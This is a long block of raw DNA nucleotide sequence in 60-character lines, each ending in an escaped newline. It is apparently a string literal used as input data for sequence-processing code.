agcttgaatatcaatttgacagttaacctagtgaaaatcagtaagaggaaatacgccaca\n\ ttctccagtgaaattctacgggttatcgtctagtccaactatcaattataactcacgaga\n\ tataagtaaattctcgtacttggcctgatttttattatactttggatccttagtaaacag\n\ gaagggagaaaccttcaacgaaaaacactggattttgttttactctcaaagctcttatat\n\ gacggaaataccctgtcaagtcttaactttattactagactaatgaaatgggcttggggt\n\ ggccagaatcatagtacaatttagcggatacactattcggactttcctatcggctgtctg\n\ gttggataagtatggggactaataggctagacatacctatacttaaactatacaggcgtc\n\ atctatctctgcaactttggagttccctgatgttctcccgccctttgggttcacatcttc\n\ tataccgacacccctaataacgattagtttgtgggttagagtaaattaatacggttaata\n\ ttaatgtatcgttgaaaagctggtgtcgccaataaggtaaccggctaggcagagtatatg\n\ tcacgaagtataactaccctaatgataagctgtaggaataaaattaatgctgtctctaag\n\ cgaagagatatttccgactctgttttaatgacgaatctcattacttctgacttgcaaatg\n\ ttcaatatggcacggtttcacggcacctttgtgacgcatataatgaacttagaagattat\n\ aacgacggaactttatatgataatccgttacgattaaagaatctgttaaatatcataatg\n\ gcattcagttctagaccgtgcatcatggtaaacttactttctctgcatggcgacatacat\n\ ttcgctattcaaattcgcgtgtggttacacccactcgcacctttggaatattaagagaag\n\ atgatcagaaaatccattcgctcaatttttctgacgtacgtctaatttatcctaggagac\n\ aaatcgttttatgtctctcacatttttgaagaaaggttcgagagacaatactcaggtcct\n\ gaactgctagaagatactcggtggagcgtggcaacaatgaaaaactcgtgacataaatga\n\ atgatacttttccaagttcagttaagtgaatatgtttaacatacccggcttttcgatctt\n\ aagctgacgctggacgtgcgagtaatgtcagtctcttacatacactagtgactccaagtt\n\ tcgtcaaaaacgccccctcccttctcgagcccactcacgctatgtattgacgcgaacttg\n\ ttcgggatcagacttttcaggagttcggtcgcgtgtccctatgtgctaatatataagtta\n\ gatcgcattagatgctaatctgaatacttatagacgaccttcaacgagaacgggtaccac\n\ cttgaggctagagttaggtgtgaaacgacaggtagggacatataaaatttgagtgcggct\n\ ttagttaagggtttaattacctactcaaacatcacgctcgcgcccttcgtacgtaatcga\n\ ccatctagaggctaaggggactgtactaggtagtgattaatgatatcctagacgcacgtg\n\ ccttagatcttcagactctgatggtccgcgatcaccgtaattgtagtcctccaactcgat\n\ cactttgttggcgtcaaagaaattacgatatctaaatacttataatacaataaccaagga\n\ tgagaatgactcatcgcgttggagttatattgcttgaagttctatggaatgaaagcacgt\n\ tatctgccgtcccaatatctccagtgagctaattcattggacggtccactttgatcaatc\n\ cccgaggagatgttcggacactttagtctgtaacacttagcgttgagaccacgaacaatt\n\ gattactcagtcttgaaggtgttttccaaagttcattttaaataagactacgataggcct\n\ ttcctattgatataaactacccggctctgttgttcgtgtgagtcgtacttctctgtgttt\n\ ttctgattatagcaagattcgattcttagtgtaaacagcgatttttatttgacccgtcaa\n\ tgagaagcgcataggatctaagcaaaattatcaagttgtgccacaaggtaagatctttcc\n\ agttattgcaggtaggatgtatcccacgttgatagtatgaggtctgacgtcaactgtcta\n\ ggagagttgaccgcgtgcgggtacaccggatttgcatcgatgttgagaacgcagaactcc\n\ cactgtcgtggcggcgttcctgatatttagcaagaggcgttgataaagccctcatcatct\n\ agatctcgacctcatctgccctcttgctccatcattttctacacagactactttcctatc\n\ tacgttagtataattgctttctatcttagtatcatttagagcttctccgtcaacaggttc\n\ gtgctattaaagttagtacgaaagggacaacttgtagcaacgcatttaatcggttttcga\n\ ctacttcgcacaaaatcagataaagaagtttgtcattctattagacattgaattgcgcaa\n\ ttgacttgtaccacttatgatcgaacactgaatcaagactgtgattaactaaaatagaca\n\ agccactatatcaactaataaaaacgcccctggtggtcgaacatagttgactacaggata\n\ attaattggactggagccattacattctctacaatcgtatcacttcccaagtagacaact\n\ ttgaccttgtagtttcatgtacaaaaaaatgctttcgcaggagcacattggtagttcaat\n\ agtttcatgggaacctcttgagccgtcttctgtgggtgtgttcggatagtaggtactgat\n\ aaagtcgtgtcgctttcgatgagagggaattcaccggaaaacaccttggttaacaggata\n\ gtctatgtaaacttcgagacatgtttaagagttaccagcttaatccacggtgctctacta\n\ gtatcatcagctgtcttgcctcgcctagaaatatgcattctatcgttatcctatcaacgg\n\ ttgccgtactgagcagccttattgtggaagagtaatatataaatgtagtcttgtctttac\n\ gaagcagacgtaagtaataatgacttggaataccaaaactaaacatagtggattatcata\n\ ctcaagaactctccagataaataacagtttttacgatacgtcaccaatgagcttaaagat\n\ taggatcctcaaaactgatacaaacgctaattcatttgttattggatccagtatcagtta\n\ aactgaatggagtgaagattgtagaatgttgttctggcctcgcatggggtctaggtgata\n\ tacaatttctcatacttacacggtagtggaaatctgattctagcttcgtagctgactata\n\ ctcaaggaaccactgctcaaggtaggagactagttccgaccctacagtcaaagtggccga\n\ agcttaaactatagactagttgttaaatgctgatttcaagatatcatctatatacagttt\n\ ggacaattatgtgtgcgaaactaaaattcatgctattcagatggatttcacttatgcctt\n\ agaaacagatattgcccgagctcaatcaacagttttagccggaaacaatcgaagcatagg\n\ gacaatgtatcttttcctaaattgccatgtgcagatttctgagtgtcacgaagcgcataa\n\ tagaatcttgtgttgcctcaactcgttgaaaagtttaaaacaatcgcagcagtctttttg\n\ gggtctactgtgtgtttgcaaaataactgaaagaaacgcttgaacaactctgaagtagct\n\ cgagtactcattaaagtgtaacacattagtgaatatcggccaatgaaccaaacgcttccc\n\ ggtacgctatctctctcatcgggaggcgatgtgcaggttatctacgaaagcatcccttta\n\ cgttgagagtgtcgatgcatgaacctcattgtaacaatagcccagcaaattctcatacgt\n\ gcctcagggtccgggcgtactcctccatggaagggcgcgcatctagtgttataccaactc\n\ gctttttaactactatgctgtagttctacaggcatagtggccagtattttctaacttctc\n\ tggatagatgctctcactcctcatccatcacggcttcagtttacgtcttacttgcttgtt\n\ cagcaacggatggaggcattaagtatcttcactgttccctaaaattgctgttcaatatca\n\ aagtaaggacgatacagggaaagctcaagcacactcattgaatactgccccagttgcaac\n\ ctcacttaatctgacaaaaataatgactactctaagtgttgcggaagcagtctcttccac\n\ gagcttgtctgtatcacttcgtataggcatgtaactcgatagacacgaacaccgagtgag\n\ aaactatattcttgcttccgtgtgtgtgacaccaggtaattgatgcggatataagctgga\n\ gatcactcacgcccacacaaggcgctgctacctctttattccaatgtgtaagaatttgct\n\ aacttcatttctagaccgcagctttgcggtcataatttcacggtacggacccttgggtta\n\ gagacttgataacacacttcgcagtttccaccgcgcacatgttttagtggcttctaacat\n\ agaatttttgttgtgacataaagagtgcgtgggagacttgcccgaccgttaagccataat\n\ caattgaaagccccgtgagtcacatctaattggttgtactgcgcatttagctatccttta\n\ gctgactcgaagagattcgattcctaatataggttaattagatggctgccgcgcgaagta\n\ aaacgtgaaaaacgtagtgcgcagatctgcataactcgcgcttaattacttatgagtagt\n\ tccaagttcgctacgttatgagagagattggaattaagcaaatatgttttatggtgattt\n\ tgggatgagaaggactgctaagtacggctactaaacaaatttctaaaaccgccatctacc\n\ ttatcttggagacatttaagttgtatatgtcactagtctagcttttgtctgtgggacgcg\n\ ttctcggaatgagggaaatgcaagagccgattcatcaaatgcttatctaagaaagtagtg\n\ gactattacaccaagcacgaatgccagggaactgctttcttgctcaggacctcgcgacaa\n\ ggtaccccgcataagtcctagaattacatttggtcagcaatgctgacatttgaccgtgaa\n\ aacataattttaatcagaaggcagctcacccgcttgctctagatcttatctttgtatgaa\n\ tgtcagaatttactgcaatatccgttccgaatagtgagggcttagtatagttctctgtat\n\ acaggtcacatcaaactccccctgtcctagtacagctctgagctttaattaattgcatac\n\ atttccttcaatcatcagatgaaaacaccgcgaatcatgctcttctcgtatagggcaaga\n\ gaagcaacaaacaactagcccgactcacgttcatccgccgtatccttgttcagttcttac\n\ tccgtattaggtcagcgaaatctaatcagaataatcggtcgcgtatcaaaattaaaatcc\n\ cgcttgaggttgacaattaaaacgctgagcagttatcggctattagatagtggggtgaaa\n\ gtaattggctggaattatgttaaaacgtgatattaagctaaaatacgctacttgttgccg\n\ acctaattcagtcattcgatattcagttagagccaagaataacaagcttgtataaattga\n\ acggggtgcactaaacgatgtgttactctaatattcagcttggagtatacctgaaggcga\n\ attcatgtatcggccaataataagacgttgaagatcacaatttggactagcaaaagaagg\n\ tgatttatgcgtggggattgagtccactgtacgagtacggtctctggaaaattataggtt\n\ cagggaatataaggaagtaaagataattaccaagagatttttggtatcgctatgacccag\n\ aggtgttctaacgtctgttttgatccgcagaatttctgcctcaatgcatatttgacggac\n\ ttgaactagagcctctaaagttaaatggcgacgcaactgttcctaaacttcaattattac\n\ tactctttttttcctagggtattgtagaggccagtggacaaaataaatcaaatttaagat\n\ gtttcggacattaacatcccccgtagcatagaaatcatcagttatccaatctctcatcga\n\ gcttttacaatttctgctggcgctatggacagcatatgccgcgagacctccgcaagactc\n\ acttgatcactgtaagtatcttcattagaggttagagcctatagttaagctgctgaccta\n\ gtaaaattggtattttctaattttattgctcaagttaaaggttagtgaagggataatgac\n\ gttatttttgaacaatgggttgtattcaattttatatcacgaatggaacccttcattccc\n\ ggcataatactagacgacacgaacaagctccgatctatcagccaggcacgtgttaaggtt\n\ taattccggcaaaccaatgaagcatcaaaaggtgacctgatgcaacttagggtcacgatg\n\ agtttttcaggactacttattacctattaataagttaacatgagccttcataccccgtaa\n\ gacaatacatactccaccaattagaattctgagccatcttatctttttgtatcatcgaag\n\ ggtatggccgaataggttaattagttactcctaacgtctctacaggcatgcatttgacgc\n\ accttcgaaaatagtcaatctctcgccacacgcgtctagtatgcagcatcaaaaatatag\n\ tccacggtttccggattaccaaacgcggcaaagagaaacattgtatcgacggagataact\n\ taatacagaaggaaggggcatcttcgaatacggatgaataattctatctgtttattctga\n\ catcttgttttcaggttaatcttacgcattcaaatgacgcctgccccatgcgtgcgcaat\n\ tattttctaatattgacgagagcaatctcactccttttgggtctatttatgttttattga\n\ ggcacaagcctatacagaacaggtactattaaggccgtgagtgtgagactcaaaccgtgg\n\ aaacaaaggatgggttgttcttggtacaagttttagtgcatgtgggcaatccttaccaaa\n\ atcagatgctatccttaactttgggctgcatttaagatggcggttggaggcctgtgagaa\n\ tcctgcgtgtcatctttaatgaccgaattcatccatgtagattcagatcacacactcatt\n\ ccttgatgttgtctaaacaaaagttgttgtggacgcattggagggagttaagtaacaact\n\ tgggatcgcatacttataaaaattatatgttaaactttcacaaacgctgaagtccaaagt\n\ aactagcccaaacgcctcgagagtcactaggtattaatggtgtttgagttcctgtgaaat\n\ agtgttcgaaggtaaaatttatgtaccaaatcgaaagaacacttaataaggcttgcttgc\n\ acggaggtatgatgtttactgactctacaaccctaattttccagtacgtacattcattcc\n\ aataggttagttctcaaagtgctatacaggctcctcaattgatgatatgcttcagccgct\n\ ctatggatattagctcattttatttaggaagcccgcttagaggcttactatgagggaaat\n\ gccaaaatgtcatacttttcggtgtgtcccatatgacaccgctttacatagaatttgaat\n\ taaaacgcgctctcccgttcactaccatacttggtaccgtgcgcatattacatatagata\n\ taggatcattttttaaagctgtactaggtttgatcgacaatcttatgctatactatatga\n\ tgtaaccctcataatcaataccgatcgtacgatcctagcataggtggcaagcgattttat\n\ gccgattattgtgttaaatagtctgtgagtgtgattatcagggctacgttggtagagggg\n\ ttgtatagacctcgcacacattgtgacatacttaacaatatacgaaaactgatataataa\n\ atccccttacccaaacaccaatcccgttgaatcaactaccataacgtctcccatataaat\n\ tgcctacttgtttgcataaatctgaatacataacaccattgcaccttcttgtgttccaat\n\ cccgttaagattgccttgtcagatgatatgcaagaacaatagcatttgctagcaattatt\n\ aacagctcttcgaattgcctccacataacgcgggagggtatattttaatttggcaaatac\n\ taagtactgttggcgtcatatgctattaacggttggatattaagttatgtcagccgtaag\n\ caagagtgggcgaaatattttgttacccagtgagagcactcttagagtttggatacaata\n\ ggccatatgttgacttaagaggacgtaactacgccgtacaccattgttcaaccgacttct\n\ tggcaaatagaatcgtattagcaatcttaagaatagagacacgttcgtgttagggtatac\n\ tacaaatccgaaaatcttaagaggatcacctaaactgaaatttatacatatttcaacgtg\n\ gatagatttaacataattcagccacctccaacctgggagtaattttcagtagatttacta\n\ gatgattagtggcccaacgcacttgactatataagatctggggatcctaacctgacctat\n\ gagacaaaattggaaacgttaacagcccttatgtgtacaaagaaaagtaagttgttgctg\n\ ttcaacagatgatagtcatgacgcgtaacttcactatagtaaattgaaacaaatacgcaa\n\ tttagacagaatggtacggtcatgaatgacagtaattcgaagtgctagaccaacttaaaa\n\ taggtaaacgtgcccgaaaccccccttaacagaaagctgctatcatggtgcagtatcgac\n\ gtgttcagaaacttgtaacttttgagcaggtccgagcacatggaagtatatcacgtgttt\n\ ctgaaccggcttatccctaagatatatccgtcgcaaactttcgatttagtcccacgtaga\n\ gcccaagcgttgtgcgactccacgtgcatgcccagaaatacgagtttaaatttggttaca\n\ tggttaattttgaccgaagcatcgcactttatgattgataattggattcaatatgtcgcc\n\ ctatgcgaatgcaacatgatccacaatttggctataagacgtttaatccgtatcacactt\n\ tgtttgcggctagtatagtaacgcccgtgcaccaagagtcagtaacaattataagtactc\n\ cgcaggtacttcaaatataaaaactaatcaaacacgacccatatgatcatctgaagatat\n\ ttggaactttctcgacaaccaccctcgtactcaatacttacactaatcgacaggcacacg\n\ caacgtgtacagtcgcaccatattgagtcaagatttgcttagtggcgatgagcgtacacg\n\ cttatttctctagtcacaattagttatctacgagacatcacgagggagcaaataagcgat\n\ gttatggctacacataggcacgtatgaatatgatataagccagttaaacagtcgaaccat\n\ cgagcaaattctcatgcaccaacccacacgttgaggcacaaagagtaagctgtttgaatg\n\ taacttcttctgctgagcgggccccaacgtaaggatcaactagaagagaaaactcggtat\n\ tagtttaaatgcgtcacggagcatgagtgcatttcactaagaatgtctgtgtaaccaata\n\ taacatctatttgttatctgattgcctacttatggctttgcggtcgtggcgactaatgtc\n\ tccaatccttttgaggtcggtaccaactccctttaaattacgctgtgcaggctcatgcac\n\ tgcatacatatacggtagcaggtagggacctcacgcacccttattataatcaatagtagt\n\ tatcagtcaacgaggcaggaatgctgaggtcgaggtgttggtatattttctatgtgccgt\n\ ctaggcgactatcacgcattaccaggcgagatttaagccaattttgaatatagtcaacgt\n\ aatttttactatgggttccaccgaaacgccttgcacaactaagaatcccataaaatatcg\n\ atatcaaataaaagattgtgtcaataccttcatatatattttttcggttgactaacgtga\n\ actaaggttaggggttttgtatgtctatataggaaacagtttcttttctgtcctacttta\n\ gtaaagtcttcaagccttactccaaaatcacggtgattaagccgttactcagcagcatga\n\ ttctgcctgctcgggtcctaaaatccagccttgtaagagtcgctgtgtattagctaggga\n\ gacctttgttaaaaaggatatatcgcggcgggatgtgagtgcgtggcgcatactcaatct\n\ tcagctcgtgtcattataatatctctcccccacgcttttcactagatatgccgtgtaagc\n\ aaacaccttatgcttaatttcgaaaatattggtacttgaaaaaagctgtaggggtactta\n\ atgtctggtaggagatcaggagagaattgagtgtaaaaccgtaaagccctcacctgactt\n\ catgtaaatggcttagaagactccatgatttaataaatactacgaaggaaagactggatc\n\ taaagataactctagtaaggccaactcccttcaatgctgttgccagttataatccaagag\n\ ctgtccttttctgaaccatagcggcttctgaagcgaactagaagcaaagttggttctagc\n\ cagacagccacataccctgtacgggtgtattactaaaactggtccggtattagttcacca\n\ agggaggaattaggcaaaggatctaggtatgcaagtcggagtattacatccctaccctga\n\ atccatcaataggttcctctgtactggccttcgcaatgagtattcaaggttgtacagccg\n\ tataataataagatagtgactatgaacgggaagtaacccgctcaccttccccaaaacatt\n\ gttatatctaagtattaaagtctgccgtagtgttaatactcgaaaataaacaactggcaa\n\ attacaccgcacttaagccgcttttgatttatatttttccaatgcgcttttaaaaataat\n\ tcagtcctacatactaattaagacccttaaacggagatatcacaagttaagttttaacca\n\ tctcgactaggtggaactatagatacccaactcaatttatcattacctgtaatgttccta\n\ gaaggattgcatttcatgtcaagacggtggagtttcacagcgaaacttcagtgtgaacag\n\ attctgagaaatcacctaaacctattagtcagagcacccggttagaaccagttgtcaaaa\n\ aatagagcggttgcatgagacagaagtaacgatgagatccgttgtaacgttgagacatct\n\ ggcctatcgtcaatacagtcctcccttaaaaatatttttaaatactaggcaaacccaaca\n\ taggttagtcctatgtgatacgccacatggtatatcattttgtaacgttacctagggata\n\ atcaggaagtggaattacgcaaaagtagacagtgaaatgcttagggttatagtctagtcc\n\ aaagataaaggataaagcacgtcagagaactatattagccgaatgggaatcattgttagg\n\ agactgtggatcatgtctaaaaagcaacgcagaaacagtcatcgaaaaaatctcgttttt\n\ gtttgaatctaaaagagctttgatgaccgatagtacctgtatactagttactgtattacg\n\ tgtctaatgatttcggattggggtccccagaatcagacgtcattgtagacgattcaagtt\n\ taccaatttaatttcccagctctccttggagaactatcgccaataattgcagtcactttc\n\ cttttctgaaacgataaagccgtcagagttctctgcaacgttggacttacctgaggttct\n\ aacccactttcggttctaatagtagttaacgacacaacgaataacctttactgtggggct\n\ ttcacgatattttttcgcttattattaatggttacgtcataagctggtgtccaaattaag\n\ gttaccggcttcgcagagtagttgtatccaagtataacttccctaatcataagatcgagg\n\ tagaaaattaatgctgtctctaaccgaacagatatgtcccactatgtggtatggacgttg\n\ ctaattacttctgaagggaaattggtcattatggatacgtgtctaccatcaggtcggacg\n\ cagatatggttctgtcttcagttgatccaccgttctttataggataataactgacgatta\n\ aagattatggtaaatagattaagccaattctcttcttgtcagtgaagcatccttaactga\n\ cttgctctgcagcccctcatacatttagctattcaaagtaccggctcgtttcaaactctc\n\ ccacctttggaagaggttgtcaacttgataagtatatcatttacagcattttttcggacg\n\ tacctctaatgtttcattgcagaaaattagttttttctatcgcacattttgcaagtaacg\n\ ttagagacacaattatctgcgaatgaactgctagatctgacgaccgggagcctcgcaaat\n\ atcaaaaaagactgacatatatcaaggagtcgttgacaagtgctggtaagtcaattggtt\n\ tatctgtcccggcgtttcgatcttaagctgaccatgcacggcagagtaatgtcactctcg\n\ ttcttacaagtctgtctccaagggtcggcaaaaaagacccctccattctcgagcccactc\n\ acgatatgtagggacgacaacttgtgcggcttatgaattgtctggactgcgggcgagggt\n\ ccatatctccgaagttagaagggacatacctttagatgataagatcaattcttattgacg\n\ aaattcatccacaacggggaacaacttcaccctagacttacgtctgaaaagacacctagc\n\ gtcttataaaaggtcagtgccccgtttcgtaaggctggaattacctacgcaaacttaaac\n\ ctcgcgcccttccttacgtatcgacaagatagaggctatcgcgaatgtactacggaggca\n\ tgaatcatatactagaaccaagtgcctgtgatattaacaagatgatccgacgcgagcacc\n\ gtaattctaggcataaaactccagcaatttgggggccgaaaacaaatgacgttagctaat\n\ taattatatgacatgatcaaaggaggtcaatcacgcatcgagttcgacgtatattcattg\n\ aacttcgtgcgtttgaaagaaacttttatgaaggcaaaattgatcctgtctcctatttca\n\ tgcgtacctcctagttgataattccccgagcagtggttaggacacttttgtcggtatcaa\n\ gttccggtctcaaaacgtaaaattctgtaatctgtatggatggtctgtgaattagttaat\n\ ttttatgaagtcgtcgagacgcagttcctattgatttattctaaacggagatgtgcttcg\n\ tgggactcggaagtagatctgtgtttatgattattgctactttagatgctgactgttaac\n\ tccgtgttgtttttcaaccgtatatcacaaccgaattggatagaacctatagtttcaagt\n\ tctgccacaaggtatcatatttacagttagtgctggttgcttctttcaaacgtggtgagt\n\ ttgtgctatcacgtcaacggtagagctcagtggaccgagtgcgcgttcaaccctgttcca\n\ gagagggtgtgatagcacatataccacgctcgtcgaggcgttcatgatagtttgcaagag\n\ ccggtgttaaacacatattattattgttatccaactaatcggacctatgcataaagcatt\n\ gtctaaacagaataattgcctatatacggtagttttagtgatttatatcttagtatcagt\n\ tagagcttcgaactcttcaggttcctcatatttaacgttcttcgaaagcgaaaacttcta\n\ caaacgaatgtaagcggttttccaagtagtacctataaatcacagaaagatctgtctcag\n\ tatagttgaaatggtattcagctagtgacgtgtaccaattatcatagttcactcaagcaa\n\ gacgctcattaacgaatatagacaagacactatatcatataataaaaaagaacatggtgc\n\ tcgaacatagttgaattcaccatattgaaggggaatgctgacatgtaattcgctactaga\n\ cgatcaattccctacttgtcaaagttgaactggtacgttcttggaattaaatatgattgc\n\ gctggaccaaattgcgacttcttgagtttcagggcaaacgattgagccggaggatgtccg\n\ tctcttacctttcttgcttatgataaacgacggtccctgtacatcactgggaattctcag\n\ caaaaataattgggtaaatcgagactcgatgtattcggccacaaaggtgttagacgttaa\n\ agattattcaacggggcgataataggatcataaccggtatgcaagcgcattgaaagagcc\n\ atgagatccttatccgataaacgctgcacggtatgtgcagccttattgtcgatcacgaat\n\ ttataaatgtagtctgggctgtaagttgaagacctaagttataatgaagtgcaataccaa\n\ atcgattcatagtggattatcagactcaagatatctcctgataaattacagttgttaaga\n\ tacggataaaatgagatttaagattagcagcctctaatctgtttcaatcccgttggaatg\n\ tggtatgcgatcaaggttaagttaaaatcaagcctgtcttcagtcttgattcttgttctg\n\ ccatcgcatgcggtctacgtgagttaatatgtagcttacgttctagcttgtgctaatctg\n\ agtatagattcgtagaggaatattatcaagcttccacgcctcaacgtacgtgtattggtc\n\ acacaagacactaaaagtggaagtagcgtaaactatagtctagttgttaaatgctcagtt\n\ cttgttatattcgatatactcttggctaatttatgtctgagtatataaaattaatgatat\n\ taacttgcatttcacggatcccttagaaaaagattttgaccgagcgcattataaacggtt\n\ acaccgaatcaatagaagcatacccaatagctttctttgaatttattgcctgcgcaactt\n\ ggctgactctctagatccgaataattctatatggtcgtgacgaaactagttcattactgt\n\ ttaaaatgccaacatgtcttttgggccgataatggctctttgcaaaattactcaatgata\n\ cgattgatcaaagcggtagttgctagtggtagcatgtaagtctatcaaatgtctgattat\n\ ccgaaaatcttccaaaagagtccacgtaccatatctatctcatagcgacgcgaggggaac\n\ cttatctaactatcattccatttaccgggtgactctcgatgcaggatccgattgggataa\n\ attgcccagaaatggctcattcctgactaagggtaaggccgttctcagcaagggaacccc\n\ gcgaatctaggcttataccatctagattgttaactacttgcctgtagttctacagccata\n\ ctggacagttgtttctaaatgatcgggattcatgctagcactcctctgaatgcaccgcgt\n\ aagtttaactattacgtccgtgggcagataaggatggaggctgtatgtatcttaactgtt\n\ acctaatatggctggtaattatcaaagtaaggaccttaatgccatagcgctagcaatcgc\n\ tttgtatactgaccatgtgccaacctctcttaatctgtaaaatataatgtcttagctaac\n\ tgtggacgatcatgtctctgcctagagcttcgctgtatcaattcctatagccagcgtact\n\ agtgacacaacaacaccgtgtgagaaaagatattagtccttacgtctgtctctctacagc\n\ ttattgatgaggattgaacatggacatatagctccccctcaaaagcagatgctacctctt\n\ tattccattctcgaacatttgccgaacttaatttcgacaaacctgaggtcacgtcttaat\n\ ttatcggtaacgtcacgtccctttgagactggataaatatattaccaggggccaacgagc\n\ aattgttggaggcgcttctataatacaaggtgtcttgtcaaagaaagacggcgtgcgtct\n\ cgtgcaactcacttaaccaatattaatgtgaaacccccctctctcacatcttatgcggtg\n\ tactgccctggtacatttcctgtacaggactccaacagtgtagattcctaagatagctgt\n\ tggagttgcctcacgccagatcgaaaaactgaataaactagtgagctgagctgcagaaat\n\ accgcttaattacttatgactagttcaaagggacctacgtgatgtcagacattgcaagga\n\ agaaattaggtttgtgcgtcattttggctggactagcactccttacttcccctactattc\n\ aaatgtcgtaaacagcatgagacaggatcgtgctgacatttaaggtctattgggaacgag\n\ gctacctttggtcgcgcgctcgcgttctccgaatgaccgaaatgcatgagcacagtatgc\n\ aattgcttatagatctaaggtctggtcgttgaaaccaagcacgtaggcctgggaaatcag\n\ ttcttcctcagcaactacacaaaagcgtccaagcattagtacttgtagtaaatgtccgaa\n\ cctatgcgctcatttgaaagtcaaaaaatatttttaagcagtaggcacctaacccgattc\n\ ctctacttagtagctttctttgattctcagaattgactgcaatatcactgcacaattctg\n\ tgccattactagacttctctgtattaacgtctcatcttactaacactcgcctaggacaca\n\ tctgagagtgaagtatttcaatacatttactgaaatcttcagttctaaaatccccgaata\n\ aggctcttatcggtttggccaacacaagaaaaaaacttcttgcaccactcaccttcatac\n\ gcaggagcctggggaacttagtaataactatttcggcagacaaagcttataacaagttgc\n\ cggcgcgtataatatttaaaagaccccttgagctgctcaattaaaacgctcacctggtat\n\ aggctattagatagtgccgtcttagtaaggggcgggaattatcggataaactgatatttt\n\ gataaaataaccgacttgttcacgacataagtcactaaggagattttatctttctccaaa\n\ gtatatcttccttggataatttcaaagcgctgcaatttaagttctgttactagtttatgc\n\ tgctgggaggtgaccggaaggcgtagtaatctagaggcaaattataagaagttcatcata\n\ tcattttcgactacaaaaacaaggtgttgtatgccggcgcattgtgtaaactggacgagt\n\ accctagatggaaaattatacgttaagccaagatttcgatgtaatgataattacctacac\n\ atttttgctatccataggaacaagagctgttctataggctcgtggcatacgaacatttgc\n\ tgccgctatgaatattggaagctcttcaactacagactctattcttaattgccgtcgaaa\n\ atgggccgaatcggctattattaatactcggtttttccgaggggattgttgtcgacagtc\n\ gtaattattattaatattgatgttggtgaggtcatttaaatacaaccttgcagacaatga\n\ ataagggatccaatctctcatactccttttacaattgctcatgcccctatgcaaacctta\n\ tgccgccacacctccgcaactctctcttctgaactgtaagtagcttcattactggtttga\n\ gactatactgaagctgatgacattctaaaatggctattttcgaatgtgattcataatgtt\n\ tatcgtttgggatggcagaatcacgttatttttgatatagcccgggtattctattgtata\n\ gaacgtatgctacaagtcattccccgaagaagactagaagtaaacaacatgcgaccatcg\n\ ttaagccacgcaaggctgtagctttatttcccgataacctatcttccataaatagcggac\n\ agcaggatactgacgctcaacatcagtggttatggtctaatttttaacttttaataaggt\n\ aacttcagcaggcatacacagtaactctttaatttataatcaaattagaagtctgacact\n\ tcttatatttttctatcatccaacgcgatcgcccattagcttattgtgttactaataacg\n\ tatctaaaccaatccttttcaagctactgcctatattgtcaatatatacaaacaacagga\n\ tagtaggctgcttaaaaaatattgtcaaccgtgtacgctttacaatacccggaaatcaca\n\ aactttgtagacaacgagtgaaatttatacactacgaagggccagcgtacaagacccatg\n\ aattaggcgatatgtttattctgacatattggtttatccttaatctgtcgctgtaaaatg\n\ aagccgcccccatccctgcgaattttttttcgaagattcacgactgaaatataaatacgt\n\ ttggctatatttatgttggagggaggcaatagcctttactgttaaccgaagatttagcca\n\ gtgagtgtgacactaaaacactggaataaatgcaggcgttcttctgggtaaaaggtttag\n\ tcaatctcgcctataagttcatatagctctggatataattatctggcccatgcatttatc\n\ atggcgcttggtgccctgtgtgaagccggcctctcatattgaaggtccgaagtattccat\n\ gtacattaagatcactctctcattcatgcatcttggcttaacaaatctggttgtccaagc\n\ tttccaggcacgtatggtacaaattcggatcgaatacttataaaaatgatatgttaaact\n\ gtctaaaacgctcatctacaaagtaaagtgcactaaccaatagagtctcaagaccgtgta\n\ atgctggtgcactgaatgtgtaatacggttagaagggattagttatgttacaaatccatt\n\ gaaaacttaagaagcattgcgtgctcggagggtgcatcttttatcaagagactaacatta\n\ ttttcaacgacgtacatgctttacaatagggtacttatcaaacgccgagaaacgcgccta\n\ tagtgatgttatgattatgacccgatatccattggaccgaattttatgtaggttcccagc\n\ gtactcgcgtaatatctcggtattgccataatgtaatacttgtcggtctctcccagatga\n\ aaaagcgttacagagtatttcaatgaaaaacagcgcgcaacgtcaatacctttaggggta\n\ acggccgctgatttcatatagatatacgataagttggtatagctctactaggtggcatcc\n\ acaatcgttgcatttactatagctggttacaatcataatctataccgttccttacatact\n\ accatagcgggatagcgtttttttgccgttgattgggtttaagaggatgtcagtctcatt\n\ atatccgattcggtgggagagccgttgttttcaaatcgcacactttgtgacataatgtac\n\ aagataacaaaactgatataagatataaactgtcaatatcaccttgacacttgaatcaaa\n\ gtaaattaactcgcaaatataatttgactaattgggtgcagatttctcaattaataaaaa\n\ aatggcaccggatgggcttacaagccccttatcattcacttgtatcatgatttccaagaa\n\ caatagaatttgctagcaagtatgaacagagattcgaattgcatccacagtacgccggag\n\ cgtttattttaatgtggatatgacgatgtactgttggcggcatttgctagtaaccggtcc\n\ ttatttacgtagcgcacacgtaagcatgtctgggagaaatatggtggtacaatctcagag\n\ aaagattacagtttggtttaaataggacttatcgggtcggaagtggaacttaataagcag\n\ tacacaattgggcaacagacgtcttgcctattacaataggattacaatgcgttagatttc\n\ agacacgttcgtgtttggctattcgtcaattccctaaatagttagacgatcaactattat\n\ caaagtgattctttgttcatcctccattcatgtaacagatggcacactacgcataacgcc\n\ gaggaattttaacgagatttaagagagcagttcgggcacaacccacttgactttataaca\n\ gctcggcagcataaacggtaatatgtgacaaatttccaaacgttataagaacgtatgtgt\n\ acttagaaaactaagtggttcatgttcaacagatgtgacgcagcaagcctaacttatcta\n\ ttggttttgctataaaagaacaaagttacacagaatcctaagggcttgtttcacacttat\n\ gcctagtgcttcaccatcttaaaatagcgaaaccggcacgaatcaaaccttaaaacaatg\n\ cgcagatattggtgatggtgactccgggtatgataatggtaactgttgaccagcgcccac\n\ ctcatcgaagtatagaaagtggttaggataaggatgagaccgaacttatttccggccata\n\ actttagattttctacctagtacacaacatcagggcggacacgaaaccgccatcacatca\n\ tataccaggtttaatttgcttaatgggggaagtgtcaacgaaccttcgaactttagcagg\n\ catatggccattatatatggccccagagcagaatgctacagcagacaaaatttggattta\n\ tgtagtttaatacctatcaaacttggtgtgaccatacttgtctaacgacagtgcacaaag\n\ tgtaagttacaattattactactcagcagcttctgcaatgataaaatcttatcatacacg\n\ tcacatatgataatatctacttagggggaacgggctccacaacctacatagtactcaata\n\ cttacactattcgacaggcacaccaaacctgtacagtcccaaaagattgagtcaactttg\n\ cagtactgcagatcacagtaatagcttagttagcgagtcaaaattagttttctacgagac\n\ tgcacgaccgtgcaaatttccgatgtgttggctacaaatagcaacgtatgaatttgtttg\n\ aagccacgtaaactgtacaaccttagagataagtctcaggctactaaaaacacgttgtgg\n\ cactaacaggatcatggttgattcttacttattcggctgaccggcccaataagtaacctt\n\ 